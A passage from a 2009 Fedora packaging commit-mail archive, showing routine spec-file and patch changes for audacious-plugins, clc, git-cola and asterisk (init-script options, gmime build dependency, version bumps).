-		    < (int)mBufSize))
-		   && (!mStopped))
-			usleep(10000);
-			
-		if(mStopped)
-			break;
-		
 		playback->pass_audio
 		(
 			playback,
@@ -423,15 +414,16 @@
 	);
 	mPlayed = 0;
 
-        Tuple* ti = GetSongTuple( aFilename );
-        if ( ti )
-                aModName = format_and_free_ti( ti, &aLength );
+    Tuple* ti = GetSongTuple( aFilename );
+    if ( ti ) {
+        ipb->set_tuple(ipb,ti);
+    }
 
 	ipb->set_params
 	(
 		ipb,
-		aModName,
-		aLength,
+		NULL,
+		0,
 		mSoundFile->GetNumChannels() * 1000,
 		mModProps.mFrequency,
 		mModProps.mChannels
@@ -464,9 +456,6 @@
 
 	mStopped = true;
 	mPaused = false;
-	
-	g_thread_join(ipb->thread);
-	ipb->thread = NULL;
 }
 
 void ModplugXMMS::Pause(bool aPaused)
diff -Nur audacious-plugins-fedora-2.2-beta1-orig/src/modplug/modplugbmp.h audacious-plugins-fedora-2.2-beta1-modplug/src/modplug/modplugbmp.h
--- audacious-plugins-fedora-2.2-beta1-orig/src/modplug/modplugbmp.h	2009-10-20 23:37:24.000000000 +0200
+++ audacious-plugins-fedora-2.2-beta1-modplug/src/modplug/modplugbmp.h	2009-10-24 23:44:09.000000000 +0200
@@ -126,7 +126,6 @@
 	float mPreampFactor;
 
 	void PlayLoop(InputPlayback *);
-	static void* PlayThread(void* arg);
 	const char* Bool2OnOff(bool aValue);
 };
 


Index: audacious-plugins.spec
===================================================================
RCS file: /cvs/pkgs/rpms/audacious-plugins/devel/audacious-plugins.spec,v
retrieving revision 1.55
retrieving revision 1.56
diff -u -p -r1.55 -r1.56
--- audacious-plugins.spec	22 Oct 2009 15:55:49 -0000	1.55
+++ audacious-plugins.spec	24 Oct 2009 22:20:54 -0000	1.56
@@ -5,7 +5,7 @@
 
 Name: audacious-plugins
 Version: 2.2
-Release: 0.1.beta1%{?dist}
+Release: 0.2.beta1%{?dist}
 Summary: Plugins for the Audacious media player
 Group: Applications/Multimedia
 URL: http://audacious-media-player.org/
@@ -24,6 +24,7 @@ Source0: audacious-plugins-fedora-%{vers
 
 Patch2: audacious-plugins-2.0.1-xmms-skindir.patch
 Patch3: audacious-plugins-2.2-beta1-pulseaudio.patch
+Patch4: audacious-plugins-2.2-beta1-modplug.patch
 
 BuildRequires: audacious-devel >= %{aud_ver}
 BuildRequires: jack-audio-connection-kit-devel libsamplerate-devel
@@ -147,6 +148,7 @@ vortex compressed files.
 
 %patch2 -p1 -b .xmms-skindir
 %patch3 -p1 -b .add-pulseaudio
+%patch4 -p1 -b .modplug
 
 sed -i '\,^.SILENT:,d' buildsys.mk.in
 
@@ -229,6 +231,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sun Oct 25 2009 Michael Schwendt <mschwendt at fedoraproject.org> - 2.2-0.2.beta1
+- Patch modplug plugin to remove old cruft and fix playback.
+
 * Thu Oct 22 2009 Michael Schwendt <mschwendt at fedoraproject.org> - 2.2-0.1.beta1
 - Upgrade to 2.2-beta1
 - Port old pulse_audio plugin from Audacious 2.1



From elanthis at fedoraproject.org  Sat Oct 24 22:50:24 2009
From: elanthis at fedoraproject.org (Sean Middleditch)
Date: Sat, 24 Oct 2009 22:50:24 +0000 (UTC)
Subject: rpms/clc/F-12 clc.spec,1.2,1.3
Message-ID: <20091024225024.7674611C02A2@cvs1.fedora.phx.redhat.com>

Author: elanthis

Update of /cvs/pkgs/rpms/clc/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30497

Modified Files:
	clc.spec 
Log Message:
remove build requires version dependency


Index: clc.spec
===================================================================
RCS file: /cvs/pkgs/rpms/clc/F-12/clc.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- clc.spec	24 Oct 2009 21:19:02 -0000	1.2
+++ clc.spec	24 Oct 2009 22:50:19 -0000	1.3
@@ -1,6 +1,6 @@
 Name:		clc
 Version:	0.02
-Release:	1%{?dist}
+Release:	2%{?dist}
 Summary:	Command-line client for MUDs
 
 Group:		Applications/Internet
@@ -9,7 +9,7 @@ URL:		http://github.com/elanthis/clc/tre
 Source0:	http://cloud.github.com/downloads/elanthis/clc/%{name}-%{version}.tar.gz
 BuildRoot:  %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
-BuildRequires: libtelnet-devel = 0.12
+BuildRequires: libtelnet-devel
 BuildRequires: ncurses-devel
 BuildRequires: zlib-devel
 
@@ -36,6 +36,9 @@ rm -rf "%{buildroot}"
 %{_bindir}/clc
 
 %changelog
+* Wed Oct 24 2009 Sean Middleditch <sean at middleditch.us> 0.02-2
+- Removed explicit build requires version dependency.
+
 * Wed Sep 29 2009 Sean Middleditch <sean at middleditch.us> 0.02-1
 - Update to upstream 0.02 release.
 - Explicit version dependency for libtelnet due to unstable API/ABI.



From elanthis at fedoraproject.org  Sat Oct 24 22:51:10 2009
From: elanthis at fedoraproject.org (Sean Middleditch)
Date: Sat, 24 Oct 2009 22:51:10 +0000 (UTC)
Subject: rpms/clc/devel clc.spec,1.2,1.3
Message-ID: <20091024225110.E46C511C02A2@cvs1.fedora.phx.redhat.com>

Author: elanthis

Update of /cvs/pkgs/rpms/clc/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31011

Modified Files:
	clc.spec 
Log Message:
remove build requires version dependency


Index: clc.spec
===================================================================
RCS file: /cvs/pkgs/rpms/clc/devel/clc.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- clc.spec	24 Oct 2009 20:11:11 -0000	1.2
+++ clc.spec	24 Oct 2009 22:51:09 -0000	1.3
@@ -1,6 +1,6 @@
 Name:		clc
 Version:	0.02
-Release:	1%{?dist}
+Release:	2%{?dist}
 Summary:	Command-line client for MUDs
 
 Group:		Applications/Internet
@@ -9,7 +9,7 @@ URL:		http://github.com/elanthis/clc/tre
 Source0:	http://cloud.github.com/downloads/elanthis/clc/%{name}-%{version}.tar.gz
 BuildRoot:  %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
-BuildRequires: libtelnet-devel = 0.12
+BuildRequires: libtelnet-devel
 BuildRequires: ncurses-devel
 BuildRequires: zlib-devel
 
@@ -36,6 +36,9 @@ rm -rf "%{buildroot}"
 %{_bindir}/clc
 
 %changelog
+* Wed Oct 24 2009 Sean Middleditch <sean at middleditch.us> 0.02-2
+- Removed explicit build requires version dependency.
+
 * Wed Sep 29 2009 Sean Middleditch <sean at middleditch.us> 0.02-1
 - Update to upstream 0.02 release.
 - Explicit version dependency for libtelnet due to unstable API/ABI.



From mathstuf at fedoraproject.org  Sun Oct 25 01:15:31 2009
From: mathstuf at fedoraproject.org (Ben Boeckel)
Date: Sun, 25 Oct 2009 01:15:31 +0000 (UTC)
Subject: rpms/git-cola/devel .cvsignore, 1.7, 1.8 git-cola.spec, 1.10,
	1.11 sources, 1.7, 1.8
Message-ID: <20091025011533.6B35811C00E5@cvs1.fedora.phx.redhat.com>

Author: mathstuf

Update of /cvs/pkgs/rpms/git-cola/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19454

Modified Files:
	.cvsignore git-cola.spec sources 
Log Message:
Update to 1.4.0


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/git-cola/devel/.cvsignore,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- .cvsignore	28 Aug 2009 23:58:23 -0000	1.7
+++ .cvsignore	25 Oct 2009 01:15:26 -0000	1.8
@@ -1 +1 @@
-cola-1.3.9.14-src.tar.gz
+cola-1.4.0-src.tar.gz


Index: git-cola.spec
===================================================================
RCS file: /cvs/pkgs/rpms/git-cola/devel/git-cola.spec,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- git-cola.spec	28 Aug 2009 23:58:23 -0000	1.10
+++ git-cola.spec	25 Oct 2009 01:15:26 -0000	1.11
@@ -1,8 +1,7 @@
 %{!?python_sitelib: %define python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
-%{!?python_sitearch: %define python_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(1)")}
 
 Name:           git-cola
-Version:        1.3.9.14
+Version:        1.4.0
 Release:        1%{?dist}
 Summary:        A highly caffeinated git gui
 
@@ -29,12 +28,12 @@ Requires:       python-inotify
 A sweet, carbonated git gui known for its
 sugary flavour and caffeine-inspired features.
 
+
 %prep
 %setup -q -n cola-%{version}
 
 
 %build
-# Remove CFLAGS=... for noarch packages (unneeded)
 %{__python} setup.py build
 make doc
 
@@ -68,6 +67,7 @@ update-desktop-database &> /dev/null || 
 %{_bindir}/git-difftool
 %{_bindir}/git-difftool--helper
 %endif
+%{_libexecdir}/git-cola/ssh-askpass
 %{_datadir}/applications/cola.desktop
 %{_datadir}/git-cola
 %{_docdir}/git-cola
@@ -76,6 +76,9 @@ update-desktop-database &> /dev/null || 
 
 
 %changelog
+* Sat Oct 24 2009 Ben Boeckel <MathStuf at gmail.com> 1.4.0-1
+- Update to 1.4.0
+
 * Fri Aug 28 2009 Ben Boeckel <MathStuf at gmail.com> 1.3.9.14-1
 - Update to 1.3.9.14
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/git-cola/devel/sources,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- sources	28 Aug 2009 23:58:23 -0000	1.7
+++ sources	25 Oct 2009 01:15:26 -0000	1.8
@@ -1 +1 @@
-8f94cd347e97a0c8315a98f0d23e2192  cola-1.3.9.14-src.tar.gz
+156a8d8f16583a29dc0ead3667024c45  cola-1.4.0-src.tar.gz



From jcollie at fedoraproject.org  Sun Oct 25 01:25:57 2009
From: jcollie at fedoraproject.org (Jeffrey C. Ollie)
Date: Sun, 25 Oct 2009 01:25:57 +0000 (UTC)
Subject: rpms/asterisk/devel
	0008-change-configure.ac-to-look-for-pkg-config-gmime-2.0.patch, NONE,
	1.1 0001-Modify-init-scripts-for-better-Fedora-compatibility.patch,
	1.10, 1.11 asterisk.spec, 1.61,
	1.62 0008-change-configure.ac-to-look-for-pkg-config-gmime-2.4.patch, 
	1.6,
	NONE 0010-my-guess-as-replacements-for-the-missing-broken-stuf.patch, 
	1.5, NONE
Message-ID: <20091025012557.3E94111C00E5@cvs1.fedora.phx.redhat.com>

Author: jcollie

Update of /cvs/pkgs/rpms/asterisk/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22681

Modified Files:
	0001-Modify-init-scripts-for-better-Fedora-compatibility.patch 
	asterisk.spec 
Added Files:
	0008-change-configure.ac-to-look-for-pkg-config-gmime-2.0.patch 
Removed Files:
	0008-change-configure.ac-to-look-for-pkg-config-gmime-2.4.patch 
	0010-my-guess-as-replacements-for-the-missing-broken-stuf.patch 
Log Message:
* Sat Oct 24 2009 Jeffrey C. Ollie <jeff at ocjtech.us> - 1.6.2.0-0.8.rc3
- Add an AST_EXTRA_ARGS option to the init script
- have the init script to cd to /var/spool/asterisk to prevent annoying message


0008-change-configure.ac-to-look-for-pkg-config-gmime-2.0.patch:
 configure.ac |   12 +++++++++++-
 1 file changed, 11 insertions(+), 1 deletion(-)

--- NEW FILE 0008-change-configure.ac-to-look-for-pkg-config-gmime-2.0.patch ---
Index: configure.ac
===================================================================
--- configure.ac	(revision 221084)
+++ configure.ac	(working copy)
@@ -1520,7 +1520,17 @@
     AST_CHECK_OSPTK([3], [5], [0])
 fi
 
-AST_EXT_TOOL_CHECK([GMIME], [gmime], [], [], [#include <gmime/gmime.h>], [gboolean q = g_mime_check_version(0,0,0);])
+PBX_GMIME=0
+AC_CHECK_TOOL(PKGCONFIG, pkg-config, No)
+if test ! "x${PKGCONFIG}" = xNo; then
+   GMIME_INCLUDE=$(${PKGCONFIG} gmime-2.0 --cflags 2>/dev/null)
+   GMIME_LIB=$(${PKGCONFIG} gmime-2.0 --libs)
+   PBX_GMIME=1
+   AC_DEFINE([HAVE_GMIME], 1, [Define if your system has the GMIME libraries.])
+fi
+AC_SUBST(PBX_GMIME)
+AC_SUBST(GMIME_INCLUDE)
+AC_SUBST(GMIME_LIB)
 
 AST_EXT_LIB_CHECK([HOARD], [hoard], [malloc], [])
 

0001-Modify-init-scripts-for-better-Fedora-compatibility.patch:
 init.d/rc.redhat.asterisk |   68 ++++++++++++++++++++++------------------------
 sysconfig/asterisk        |   19 ++++++++++++
 2 files changed, 52 insertions(+), 35 deletions(-)

Index: 0001-Modify-init-scripts-for-better-Fedora-compatibility.patch
===================================================================
RCS file: /cvs/pkgs/rpms/asterisk/devel/0001-Modify-init-scripts-for-better-Fedora-compatibility.patch,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- 0001-Modify-init-scripts-for-better-Fedora-compatibility.patch	9 Feb 2009 05:54:21 -0000	1.10
+++ 0001-Modify-init-scripts-for-better-Fedora-compatibility.patch	25 Oct 2009 01:25:55 -0000	1.11
@@ -1,18 +1,7 @@
-From 6cd5722ba64b7cb24b8475395edcc6555e2326d4 Mon Sep 17 00:00:00 2001
-From: Jeffrey C. Ollie <jeff at ocjtech.us>
-Date: Sun, 18 Nov 2007 21:47:59 -0600
-Subject: [PATCH 01/15] Modify init scripts for better Fedora compatibility.
-
----
- contrib/init.d/rc.redhat.asterisk |   61 +++++++++++++++++-------------------
- contrib/sysconfig/asterisk        |   16 ++++++++++
- 2 files changed, 45 insertions(+), 32 deletions(-)
- create mode 100644 contrib/sysconfig/asterisk
-
-diff --git a/contrib/init.d/rc.redhat.asterisk b/contrib/init.d/rc.redhat.asterisk
-index d2a630e..7ac830d 100755
---- a/contrib/init.d/rc.redhat.asterisk
-+++ b/contrib/init.d/rc.redhat.asterisk
+Index: contrib/init.d/rc.redhat.asterisk
+===================================================================
+--- contrib/init.d/rc.redhat.asterisk	(revision 225759)
++++ contrib/init.d/rc.redhat.asterisk	(working copy)
 @@ -3,7 +3,7 @@
  #
  # asterisk    Starts, Stops and Reloads Asterisk.
@@ -30,10 +19,10 @@ index d2a630e..7ac830d 100755
 -#AST_CONFIG=/etc/asterisk
 +# Do not modify this script to change any of the settings, instead
 +# edit /etc/sysconfig/asterisk
-+
+ 
 +# Specify the configuration file
 +AST_CONFIG=/etc/asterisk/asterisk.conf
- 
++
  # Installation directory
  AST_SBIN=/usr/sbin
  
@@ -50,7 +39,7 @@ index d2a630e..7ac830d 100755
 +# as to the primary group of the user, as well as initialize the
 +# supplementary groups.  If you want to run Asterisk as a different
 +# group, set AST_GROUP to the group that Asterisk should run as.  Note
-+# that this may break Zaptel devices as supplementary groups will not
++# that this may break DAHDI devices as supplementary groups will not
 +# be initialized.
  #AST_GROUP="asterisk"
  
@@ -100,7 +89,7 @@ index d2a630e..7ac830d 100755
  RETVAL=0
  
  start() {
-@@ -78,9 +78,6 @@ start() {
+@@ -78,19 +78,17 @@
  
  	# Start daemons.
  	echo -n $"Starting asterisk: "
@@ -108,18 +97,24 @@ index d2a630e..7ac830d 100755
 -		DAEMON=$SAFE_ASTERISK
 -	fi
  	if [ $AST_USER ] ; then
- 		ASTARGS="-U $AST_USER"
+-		ASTARGS="-U $AST_USER"
++		AST_ARGS="-U $AST_USER"
  	fi
-@@ -88,7 +85,7 @@ start() {
- 		ASTARGS="$ASTARGS -G $AST_GROUP"
+ 	if [ $AST_GROUP ] ; then
+-		ASTARGS="$ASTARGS -G $AST_GROUP"
++		AST_ARGS="$AST_ARGS -G $AST_GROUP"
  	fi
  	if [ $AST_CONFIG ]; then
 -		ASTARGS="$ASTARGS -C $AST_CONFIG/asterisk.conf"
-+		ASTARGS="$ASTARGS -C $AST_CONFIG"
++		AST_ARGS="$AST_ARGS -C $AST_CONFIG"
  	fi
- 	daemon $DAEMON $ASTARGS
+-	daemon $DAEMON $ASTARGS
++	cd /var/spool/asterisk
++	daemon $DAEMON $AST_ARGS $AST_EXTRA_ARGS
  	RETVAL=$?
-@@ -99,7 +96,7 @@ start() {
+ 	[ $RETVAL -eq 0 ] && touch /var/lock/subsys/asterisk
+ 	echo
+@@ -99,7 +97,7 @@
  
  stop() {
  	# Stop daemons.
@@ -128,12 +123,11 @@ index d2a630e..7ac830d 100755
  	killproc asterisk
  	RETVAL=$?
  	[ $RETVAL -eq 0 ] && rm -f /var/lock/subsys/asterisk
-diff --git a/contrib/sysconfig/asterisk b/contrib/sysconfig/asterisk
-new file mode 100644
-index 0000000..2d3598a
---- /dev/null
-+++ b/contrib/sysconfig/asterisk
-@@ -0,0 +1,16 @@
+Index: contrib/sysconfig/asterisk
+===================================================================
+--- contrib/sysconfig/asterisk	(revision 225759)
++++ contrib/sysconfig/asterisk	(working copy)
+@@ -0,0 +1,19 @@
 +# Specify the configuration file
 +AST_CONFIG=/etc/asterisk/asterisk.conf
 +
@@ -150,6 +144,6 @@ index 0000000..2d3598a
 +# that this may break Zaptel devices as supplementary groups will not
 +# be initialized.
 +#AST_GROUP="asterisk"
--- 
-1.6.1
-
++
++# A place to specify extra arguments for the Asterisk command line
++AST_EXTRA_ARGS=""


Index: asterisk.spec
===================================================================
RCS file: /cvs/pkgs/rpms/asterisk/devel/asterisk.spec,v
retrieving revision 1.61
retrieving revision 1.62
diff -u -p -r1.61 -r1.62
--- asterisk.spec	9 Oct 2009 14:15:21 -0000	1.61
+++ asterisk.spec	25 Oct 2009 01:25:56 -0000	1.62
@@ -2,7 +2,7 @@
 Summary: The Open Source PBX
 Name: asterisk
 Version: 1.6.2.0
-Release: 0.6%{?_rc:.rc%{_rc}}%{?dist}
+Release: 0.8%{?_rc:.rc%{_rc}}%{?dist}
 License: GPLv2
 Group: Applications/Internet
 URL: http://www.asterisk.org/
@@ -17,8 +17,7 @@ Source6: asterisk-developer-pubring.gpg
 Patch1:  0001-Modify-init-scripts-for-better-Fedora-compatibility.patch
 Patch2:  0002-Modify-modules.conf-so-that-different-voicemail-modu.patch
 Patch5:  0005-Build-using-external-libedit.patch
-Patch8:  0008-change-configure.ac-to-look-for-pkg-config-gmime-2.4.patch
-Patch10: 0010-my-guess-as-replacements-for-the-missing-broken-stuf.patch
+Patch8:  0008-change-configure.ac-to-look-for-pkg-config-gmime-2.0.patch
 Patch11: 0011-Fix-up-some-paths.patch
 Patch12: 0012-Add-LDAP-schema-that-is-compatible-with-Fedora-Direc.patch
 
@@ -38,7 +37,7 @@ BuildRequires: libcap-devel
 BuildRequires: gtk2-devel
 
 # for res_http_post
-BuildRequires: gmime-devel
+BuildRequires: gmime22-devel
 
 # for building docs
 BuildRequires: doxygen
@@ -381,11 +380,10 @@ local filesystem.
 
 %prep
 %setup0 -q -n asterisk-%{version}%{?_rc:-rc%{_rc}}
-%patch1 -p1
+%patch1 -p0
 %patch2 -p0
 %patch5 -p0
 %patch8 -p0
-%patch10 -p0
 %patch11 -p0
 %patch12 -p1
 
@@ -1011,6 +1009,13 @@ fi
 %{_libdir}/asterisk/modules/app_voicemail_plain.so
 
 %changelog
+* Sat Oct 24 2009 Jeffrey C. Ollie <jeff at ocjtech.us> - 1.6.2.0-0.8.rc3
+- Add an AST_EXTRA_ARGS option to the init script
+- have the init script to cd to /var/spool/asterisk to prevent annoying message
+
+* Sat Oct 24 2009 Jeffrey C. Ollie <jeff at ocjtech.us> - 1.6.2.0-0.7.rc3
+- Compile against gmime 2.2 instead of gmime 2.4 because the patch to convert the API calls from 2.2 to 2.4 caused crashes.
+
 * Fri Oct  9 2009 Jeffrey C. Ollie <jeff at ocjtech.us> - 1.6.2.0-0.6.rc3
 - Require latex2html used in static-http documents
 


--- 0008-change-configure.ac-to-look-for-pkg-config-gmime-2.4.patch DELETED ---


--- 0010-my-guess-as-replacements-for-the-missing-broken-stuf.patch DELETED ---



From jcollie at fedoraproject.org  Sun Oct 25 04:45:52 2009
From: jcollie at fedoraproject.org (Jeffrey C. Ollie)
Date: Sun, 25 Oct 2009 04:45:52 +0000 (UTC)
Subject: rpms/asterisk/F-12
	0008-change-configure.ac-to-look-for-pkg-config-gmime-2.0.patch, NONE,
	1.1 0001-Modify-init-scripts-for-better-Fedora-compatibility.patch,
	1.10, 1.11 asterisk.spec, 1.58,
	1.59 0008-change-configure.ac-to-look-for-pkg-config-gmime-2.4.patch, 
	1.5,
	NONE 0010-my-guess-as-replacements-for-the-missing-broken-stuf.patch, 
	1.4, NONE
Message-ID: <20091025044552.88FC011C00E5@cvs1.fedora.phx.redhat.com>

Author: jcollie

Update of /cvs/pkgs/rpms/asterisk/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30816

Modified Files:
	0001-Modify-init-scripts-for-better-Fedora-compatibility.patch 
	asterisk.spec 
Added Files:
	0008-change-configure.ac-to-look-for-pkg-config-gmime-2.0.patch 
Removed Files:
	0008-change-configure.ac-to-look-for-pkg-config-gmime-2.4.patch 
	0010-my-guess-as-replacements-for-the-missing-broken-stuf.patch 
Log Message:
* Sat Oct 24 2009 Jeffrey C. Ollie <jeff at ocjtech.us> - 1.6.1.7-0.4.rc2
- Add an AST_EXTRA_ARGS option to the init script
- have the init script to cd to /var/spool/asterisk to prevent annoying message


0008-change-configure.ac-to-look-for-pkg-config-gmime-2.0.patch:
 configure.ac |   12 +++++++++++-
 1 file changed, 11 insertions(+), 1 deletion(-)

--- NEW FILE 0008-change-configure.ac-to-look-for-pkg-config-gmime-2.0.patch ---
Index: configure.ac
===================================================================
--- configure.ac	(revision 221084)
+++ configure.ac	(working copy)
@@ -1520,7 +1520,17 @@
     AST_CHECK_OSPTK([3], [5], [0])
 fi
 
-AST_EXT_TOOL_CHECK([GMIME], [gmime], [], [], [#include <gmime/gmime.h>], [gboolean q = g_mime_check_version(0,0,0);])
+PBX_GMIME=0
+AC_CHECK_TOOL(PKGCONFIG, pkg-config, No)
+if test ! "x${PKGCONFIG}" = xNo; then
+   GMIME_INCLUDE=$(${PKGCONFIG} gmime-2.0 --cflags 2>/dev/null)
+   GMIME_LIB=$(${PKGCONFIG} gmime-2.0 --libs)
+   PBX_GMIME=1
+   AC_DEFINE([HAVE_GMIME], 1, [Define if your system has the GMIME libraries.])
+fi
+AC_SUBST(PBX_GMIME)
+AC_SUBST(GMIME_INCLUDE)
+AC_SUBST(GMIME_LIB)
 
 AST_EXT_LIB_CHECK([HOARD], [hoard], [malloc], [])
 

0001-Modify-init-scripts-for-better-Fedora-compatibility.patch:
 init.d/rc.redhat.asterisk |   68 ++++++++++++++++++++++------------------------
 sysconfig/asterisk        |   19 ++++++++++++
 2 files changed, 52 insertions(+), 35 deletions(-)

Index: 0001-Modify-init-scripts-for-better-Fedora-compatibility.patch
===================================================================
RCS file: /cvs/pkgs/rpms/asterisk/F-12/0001-Modify-init-scripts-for-better-Fedora-compatibility.patch,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- 0001-Modify-init-scripts-for-better-Fedora-compatibility.patch	9 Feb 2009 05:54:21 -0000	1.10
+++ 0001-Modify-init-scripts-for-better-Fedora-compatibility.patch	25 Oct 2009 04:45:49 -0000	1.11
@@ -1,18 +1,7 @@
-From 6cd5722ba64b7cb24b8475395edcc6555e2326d4 Mon Sep 17 00:00:00 2001
-From: Jeffrey C. Ollie <jeff at ocjtech.us>
-Date: Sun, 18 Nov 2007 21:47:59 -0600
-Subject: [PATCH 01/15] Modify init scripts for better Fedora compatibility.
-
----
- contrib/init.d/rc.redhat.asterisk |   61 +++++++++++++++++-------------------
- contrib/sysconfig/asterisk        |   16 ++++++++++
- 2 files changed, 45 insertions(+), 32 deletions(-)
- create mode 100644 contrib/sysconfig/asterisk
-
-diff --git a/contrib/init.d/rc.redhat.asterisk b/contrib/init.d/rc.redhat.asterisk
-index d2a630e..7ac830d 100755
---- a/contrib/init.d/rc.redhat.asterisk
-+++ b/contrib/init.d/rc.redhat.asterisk
+Index: contrib/init.d/rc.redhat.asterisk
+===================================================================
+--- contrib/init.d/rc.redhat.asterisk	(revision 225759)
++++ contrib/init.d/rc.redhat.asterisk	(working copy)
 @@ -3,7 +3,7 @@
  #
  # asterisk    Starts, Stops and Reloads Asterisk.
@@ -30,10 +19,10 @@ index d2a630e..7ac830d 100755
 -#AST_CONFIG=/etc/asterisk
 +# Do not modify this script to change any of the settings, instead
 +# edit /etc/sysconfig/asterisk
-+
+ 
 +# Specify the configuration file
 +AST_CONFIG=/etc/asterisk/asterisk.conf
- 
++
  # Installation directory
  AST_SBIN=/usr/sbin
  
@@ -50,7 +39,7 @@ index d2a630e..7ac830d 100755
 +# as to the primary group of the user, as well as initialize the
 +# supplementary groups.  If you want to run Asterisk as a different
 +# group, set AST_GROUP to the group that Asterisk should run as.  Note
-+# that this may break Zaptel devices as supplementary groups will not
++# that this may break DAHDI devices as supplementary groups will not
 +# be initialized.
  #AST_GROUP="asterisk"
  
@@ -100,7 +89,7 @@ index d2a630e..7ac830d 100755
  RETVAL=0
  
  start() {
-@@ -78,9 +78,6 @@ start() {
+@@ -78,19 +78,17 @@
  
  	# Start daemons.
  	echo -n $"Starting asterisk: "
@@ -108,18 +97,24 @@ index d2a630e..7ac830d 100755
 -		DAEMON=$SAFE_ASTERISK
 -	fi
  	if [ $AST_USER ] ; then
- 		ASTARGS="-U $AST_USER"
+-		ASTARGS="-U $AST_USER"
++		AST_ARGS="-U $AST_USER"
  	fi
-@@ -88,7 +85,7 @@ start() {
- 		ASTARGS="$ASTARGS -G $AST_GROUP"
+ 	if [ $AST_GROUP ] ; then
+-		ASTARGS="$ASTARGS -G $AST_GROUP"
++		AST_ARGS="$AST_ARGS -G $AST_GROUP"
  	fi
  	if [ $AST_CONFIG ]; then
 -		ASTARGS="$ASTARGS -C $AST_CONFIG/asterisk.conf"
-+		ASTARGS="$ASTARGS -C $AST_CONFIG"
++		AST_ARGS="$AST_ARGS -C $AST_CONFIG"
  	fi
- 	daemon $DAEMON $ASTARGS
+-	daemon $DAEMON $ASTARGS
++	cd /var/spool/asterisk
++	daemon $DAEMON $AST_ARGS $AST_EXTRA_ARGS
  	RETVAL=$?
-@@ -99,7 +96,7 @@ start() {
+ 	[ $RETVAL -eq 0 ] && touch /var/lock/subsys/asterisk
+ 	echo
+@@ -99,7 +97,7 @@
  
  stop() {
  	# Stop daemons.
@@ -128,12 +123,11 @@ index d2a630e..7ac830d 100755
  	killproc asterisk
  	RETVAL=$?
  	[ $RETVAL -eq 0 ] && rm -f /var/lock/subsys/asterisk
-diff --git a/contrib/sysconfig/asterisk b/contrib/sysconfig/asterisk
-new file mode 100644
-index 0000000..2d3598a
---- /dev/null
-+++ b/contrib/sysconfig/asterisk
-@@ -0,0 +1,16 @@
+Index: contrib/sysconfig/asterisk
+===================================================================
+--- contrib/sysconfig/asterisk	(revision 225759)
++++ contrib/sysconfig/asterisk	(working copy)
+@@ -0,0 +1,19 @@
 +# Specify the configuration file
 +AST_CONFIG=/etc/asterisk/asterisk.conf
 +
@@ -150,6 +144,6 @@ index 0000000..2d3598a
 +# that this may break Zaptel devices as supplementary groups will not
 +# be initialized.
 +#AST_GROUP="asterisk"
--- 
-1.6.1
-
++
++# A place to specify extra arguments for the Asterisk command line
++AST_EXTRA_ARGS=""


Index: asterisk.spec
===================================================================
RCS file: /cvs/pkgs/rpms/asterisk/F-12/asterisk.spec,v
retrieving revision 1.58
retrieving revision 1.59
diff -u -p -r1.58 -r1.59
--- asterisk.spec	9 Oct 2009 14:19:23 -0000	1.58
+++ asterisk.spec	25 Oct 2009 04:45:50 -0000	1.59
@@ -2,7 +2,7 @@
 Summary: The Open Source PBX
 Name: asterisk
 Version: 1.6.1.7
-Release: 0.2%{?_rc:.rc%{_rc}}%{?dist}
+Release: 0.4%{?_rc:.rc%{_rc}}%{?dist}
 License: GPLv2
 Group: Applications/Internet
 URL: http://www.asterisk.org/
@@ -17,8 +17,7 @@ Source6: asterisk-developer-pubring.gpg
 Patch1:  0001-Modify-init-scripts-for-better-Fedora-compatibility.patch
 Patch2:  0002-Modify-modules.conf-so-that-different-voicemail-modu.patch
 Patch5:  0005-Build-using-external-libedit.patch
-Patch8:  0008-change-configure.ac-to-look-for-pkg-config-gmime-2.4.patch
-Patch10: 0010-my-guess-as-replacements-for-the-missing-broken-stuf.patch
+Patch8:  0008-change-configure.ac-to-look-for-pkg-config-gmime-2.0.patch
 Patch11: 0011-Fix-up-some-paths.patch
 Patch12: 0012-Add-LDAP-schema-that-is-compatible-with-Fedora-Direc.patch
 
@@ -38,7 +37,7 @@ BuildRequires: libcap-devel
 BuildRequires: gtk2-devel
 
 # for res_http_post
-BuildRequires: gmime-devel
+BuildRequires: gmime22-devel
 
 # for building docs
 BuildRequires: doxygen
@@ -380,11 +379,10 @@ local filesystem.
 
 %prep
 %setup0 -q -n asterisk-%{version}%{?_rc:-rc%{_rc}}
-%patch1 -p1
+%patch1 -p0
 %patch2 -p0
 %patch5 -p0
 %patch8 -p0
-%patch10 -p1
 %patch11 -p0
 %patch12 -p1
 
@@ -992,6 +990,13 @@ fi
 %{_libdir}/asterisk/modules/app_voicemail_plain.so
 
 %changelog
+* Sat Oct 24 2009 Jeffrey C. Ollie <jeff at ocjtech.us> - 1.6.1.7-0.4.rc2
+- Add an AST_EXTRA_ARGS option to the init script
+- have the init script to cd to /var/spool/asterisk to prevent annoying message
+
+* Sat Oct 24 2009 Jeffrey C. Ollie <jeff at ocjtech.us> - 1.6.1.7-0.3.rc2
+- Compile against gmime 2.2 instead of gmime 2.4 because the patch to convert the API calls from 2.2 to 2.4 caused crashes.
+
 * Fri Oct  9 2009 Jeffrey C. Ollie <jeff at ocjtech.us> - 1.6.1.7-0.2.rc2
 - Require latex2html used in static-http documents
 


